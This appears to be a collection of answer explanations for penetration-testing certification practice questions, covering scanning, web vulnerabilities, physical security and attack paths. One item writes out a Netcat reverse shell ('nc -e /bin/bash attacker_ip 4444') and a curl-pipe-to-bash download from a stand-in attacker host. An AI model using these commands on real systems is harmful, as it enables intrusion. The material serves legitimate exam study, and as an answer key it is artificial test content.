Use == is correct because == is the appropriate string comparison operator within a Bash conditional test to evaluate whether two extracted octet strings are equal, allowing the script to confirm whether hosts share the same /24 subnet. Use -gt and Use -lt are incorrect because they are numeric comparison operators used for greater-than or less-than evaluations and are not intended for direct string equality checks. Use != is incorrect because it checks for inequality, which would identify hosts in different subnets rather than confirming they belong to the same network segment. OBJ. 2.3

It may trigger defensive mechanisms that could block the scan is correct because authenticated scans generate extensive system queries, registry access attempts, and file inspections that can resemble malicious behavior, potentially triggering Intrusion Detection Systems (IDS), Endpoint Detection and Response (EDR), or account lockout policies. It could inadvertently change system settings is incorrect because reputable vulnerability scanners perform read-only checks during authenticated scans. It may generate false positives due to limited access is incorrect because authenticated scans reduce false positives by providing deeper visibility into configuration and patch levels. It could disrupt active network services by consuming excessive bandwidth is incorrect because authenticated scans focus on host-level checks rather than generating high network traffic volumes. OBJ. 3.1 

OBJ 5.2: The nc -e /bin/bash attacker_ip 4444 command uses Netcat to create a reverse shell, allowing Merlin to maintain access to the compromised machine by connecting back to the attacker's IP. impacket-psexec is used for executing commands on remote Windows systems, sshuttle --dns --remote attacker_ip is for routing traffic through an SSH tunnel, and curl http://attacker_ip/shell.sh | bash downloads and executes a script from a remote server. OBJ. 5.2

OBJ 4.1: The outdated Apache HTTP Server likely contains vulnerabilities that could be exploited for initial access. This provides a foothold on the network, which Sam can then use to explore further or move laterally. While SMB and RDP could also be exploited, prioritizing a known vulnerability in the Apache server is a more direct approach to gaining access. OBJ. 4.1

Increase the number of cameras to cover all vulnerable areas is correct because adding additional cameras to eliminate blind spots ensures continuous visual monitoring of high-risk locations such as rear entrances, making it significantly harder for a penetration tester to approach or access the facility without being recorded. Add access control systems to all external doors is incorrect because while access controls regulate entry authentication, they do not address surveillance blind spots that allow an attacker to move around undetected. Remove the existing cameras and install motion sensors instead is incorrect because motion sensors provide detection but do not offer visual evidence or continuous monitoring of attacker activity. Reposition the cameras to monitor internal hallways is incorrect because the vulnerability exists at the exterior entry point, and shifting cameras indoors would leave the external blind spots unmonitored. OBJ. 3.3

Authenticated Scan is correct because authenticated scans leverage valid credentials to log into the target system and perform in-depth inspection of configuration settings, installed software, patch levels, and password policies, allowing detection of vulnerabilities that are not externally observable. Unauthenticated Scan is incorrect because it provides only an external attacker’s perspective and lacks access to internal configuration details. Application Scan is incorrect because it focuses specifically on web or application-layer vulnerabilities rather than full host configuration analysis. Network Scan is incorrect because it identifies open ports and services but does not provide detailed insight into host-level security posture. OBJ. 3.1

Connection String Parameter Pollution (CSPP) exploits specifically the semicolon-delimited database connection strings that are constructed dynamically based on the user inputs from web applications. CSPP, if carried out successfully, can be used to steal user identities and hijack web credentials. CSPP is a high-risk attack because of the relative ease with which it can be carried out (low access complexity) and the potential results it can have (high impact). Exploit chaining involves multiple commands and exploits being conducted in a series to fully attack or exploit a given target. OBJ. 4.1

This is an example of an insecure direct object reference. Direct object references are typically insecure when they do not verify whether a user is authorized to access a specific object. Therefore, it is important to implement access control techniques in applications that work with private information or other sensitive data types. Based on the URL above, you cannot determine if the application is vulnerable to an XML or SQL injection attack. An attacker can modify one or more of these four basic functions in a SQL injection attack by adding code to some input within the web app, causing it to execute the attacker’s own set of queries using SQL. An XML injection is similar but focuses on XML code instead of SQL queries. A race condition is a software vulnerability when the resulting outcome from execution processes is directly dependent on the order and timing of certain events. Those events fail to execute in the developer's order and timing, which is not the case in this scenario. OBJ. 4.5

The environment is affecting accuracy is correct because changing firewall rules can alter scan results and lead to inconsistent findings. The host is offline is incorrect because responses were received. The vulnerabilities are confirmed is incorrect because results are inconsistent. The scan results are complete is incorrect because accuracy is impacted. OBJ. 3.2

OBJ 2.2 - Identifying misconfigurations in user or group permissions can provide clues to potential privilege escalation opportunities, which are crucial for mapping out an effective attack path. The other actions, such as denial of service or data exfiltration, do not directly contribute to understanding how to escalate privileges or navigate through the system. OBJ. 2.2